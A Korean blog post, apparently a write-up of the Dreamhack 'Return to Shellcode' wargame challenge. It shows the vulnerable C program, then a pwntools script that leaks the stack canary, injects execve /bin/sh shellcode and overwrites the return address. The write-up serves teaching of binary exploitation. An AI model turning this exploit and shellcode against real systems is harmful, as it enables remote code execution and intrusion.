Return to Shellcode
Description Exploit Tech: Return to Shellcode에서 실습하는 문제입니다.
dreamhack.io
문제 + 취약점 분석
주어진 바이너리파일을 실행시킨 결과
buf의 주소는 random하게 변하지만, buf와 $rbp 사이의 거리는 96바이트만큼의 차이가 고정적으로 존재한다는 것을 알 수 있다.
파일 실행시에 Input을 총 두 번 받는데, 1번 Input을 통해 canary를 얻고, 2번 Input을 통해 주소를 덮어씌우는 방식이라고 생각했고, 실제로 두 Input 모두 오버플로우를 발생시킬 수 있는지 알기 위해 코드를 보았다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
char buf[0x50];
init();
printf("Address of the buf: %p\\n", buf);
printf("Distance between buf and $rbp: %ld\\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
|
cs |
먼저 buf의 크기는 0x50이므로 총 80바이트이다. 첫 번째 Input은 총 0x100바이트를 읽으므로 오버플로우가 발생시킬 수 있고, 두 번째 Input은 gets함수로 받으므로 오버플로우를 발생시킬 수 있다.
그래서 첫 번째 Input에서 canary를 알기 위한 코드를 짰다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
from pwn import *
p=remote("host3.dreamhack.games", 11730)
context.arch = "amd64"
p.recvuntil(b"Address of the buf: ")
buf = int(p.recvline()[:-1], 16)
p.recvuntil(b"$rbp: ")
buf_rbp = int(p.recvline()[:-1])
buf_canary = buf_rbp - 8
print("buf ~ rbp:", hex(buf_rbp))
print("buf ~ canary:", hex(buf_canary))
|
cs |
buf 변수에는 실행 시 출력되는 buf의 주소를 recvline 함수를 통해 입력받고, 마찬가지로 출력되는
1
|
Distance between buf and $rbp:
|
cs |
이후의 값을 buf_rbp 변수에 저장한다. 그리고 canary의 저장 공간은 8바이트이고, rbp 바로 위에 저장되어있으므로 rbp의 주소 - 8의 위치에 저장되게 된다.
위의 코드를 통해 buf ~ canary 사이 공간은 0x58만큼이 존재한다는 것을 알게 되었고, canary는 NULL바이트로 시작하므로 총 0x59만큼의 공간을 다른 값으로 덮어씌우면 canary를 읽을 수 있을 것이다.
Exploit
그래서 작성한 payload는 아래와 같다.
1
2
3
4
5
|
payload=b"A"*0x59
p.sendafter(b"Input: ", payload)
p.recvuntil(payload)
canary = u64(b"\\x00" + p.recvn(7))
print("Canary:", hex(canary))
|
cs |
먼저 0x59만큼의 크기에 이상한 값을 덮어씌움과 동시에 canary의 시작 주소까지 침범한다. 이후 payload 뒤에 출력되는 값이 canary이므로, 다시 앞에 NULL을 추가해주면 원하는 canary 값을 얻을 수 있다.
이제 얻은 canary로 ret address에 도달할 수 있게 된다.
1
2
3
4
5
6
7
8
9
10
11
|
shellcode = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"
payload = shellcode
payload += b"A" * (0x58 - len(shellcode))
payload += p64(canary)
payload += b"A" * 0x8
payload += p64(buf)
p.sendafter("Input: ", payload)
p.interactive()
|
cs |
먼저 buf에 shellcode를 주입한다. 이후 잉여 공간에서 shellcode의 길이를 제외한 부분을 채워주고 canary를 입력해준 이후 rbp의 공간도 이상한 값으로 채워준다. 마지막으로 ret주소에 다시 buf 주소를 삽입하면 처음 덮어씌웠던 shellcode가 실행되게 된다.
'Hacking > system' 카테고리의 다른 글
Return to Library (0) | 2024.01.18 |
---|---|
ssp_001 (0) | 2024.01.18 |
Shell_basic (0) | 2024.01.18 |